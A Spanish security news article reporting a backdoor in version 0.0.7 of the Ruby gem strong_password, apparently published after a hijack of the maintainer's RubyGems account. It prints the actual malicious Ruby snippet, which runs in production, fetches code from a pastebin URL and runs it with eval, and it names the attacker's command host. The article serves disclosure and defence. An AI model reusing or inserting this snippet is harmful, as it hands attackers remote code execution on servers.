El desarrollador Tute Costa ha descubierto un backdoor alojado en una popular librería (Gem) de Ruby llamada strong_password, utilizada para comprobar la robustez de las contraseñas elegidas por los usuarios.
El código malicioso comprueba si la biblioteca se está utilizando en un entorno de producción, en caso afirmativo descarga y ejecuta un payload desde la plataforma pastebin.com, un conocido repositorio de texto online. Al ejecutarse el payload se crea la puerta trasera en la app o página web dando acceso a la ejecución de código remoto al atacante.
def _!;
begin;
yield;
rescue Exception;
end;
end
_!{
Thread.new {
loop {
_!{
sleep rand * 3333;
eval(
Net::HTTP.get(
URI('https://pastebin.com/raw/xa456PFt')
)
)
}
}
} if Rails.env[0] == "p"
El backdoor envía la URL de cada sitio infectado a «smiley.zzz.com.ua», quedándose a la espera de nuevas instrucciones, que serán recibidas en forma de cookies, desempaquetadas y ejecutadas a través de la función eval. Esto da acceso al atacante a ejecutar código, con el que sencillamente puede conseguir una terminal en el servidor infectado.
En el momento de reportar el problema al propietario de la biblioteca, descubrió que el atacante presuntamente reemplazó al desarrollador real de la librería en RubyGems, repositorio oficial del lenguaje Ruby. Creó una nueva versión (0.0.7) de la ya existente librería con el backdoor en su interior. Según las estadísticas de RubyGems la librería 537 usuarios descargaron esta versión maliciosa. Además el código fuente de esta nueva versión no fue subido a Github, tan solo fue distribuido a través de RubyGems.
Costas reportó tanto al propietario como al equipo de seguridad de RubyGems y la versión maliciosa fue eliminada del repositorio.
Cualquier proyecto que utilice la citada librería strong_password debería ser revisado exhaustivamente para detectar posibles robos de datos de usuarios u otro tipo de acciones llevadas a cabo por el atacante.
Para finalizar, recordar que el modus operandi de este ataque es muy similar al descubierto en abril de este mismo año que afectaba a la librería Bootstrap-Sass de Ruby, utilizando la misma técnica del eval y las cookies para ganar acceso al servidor.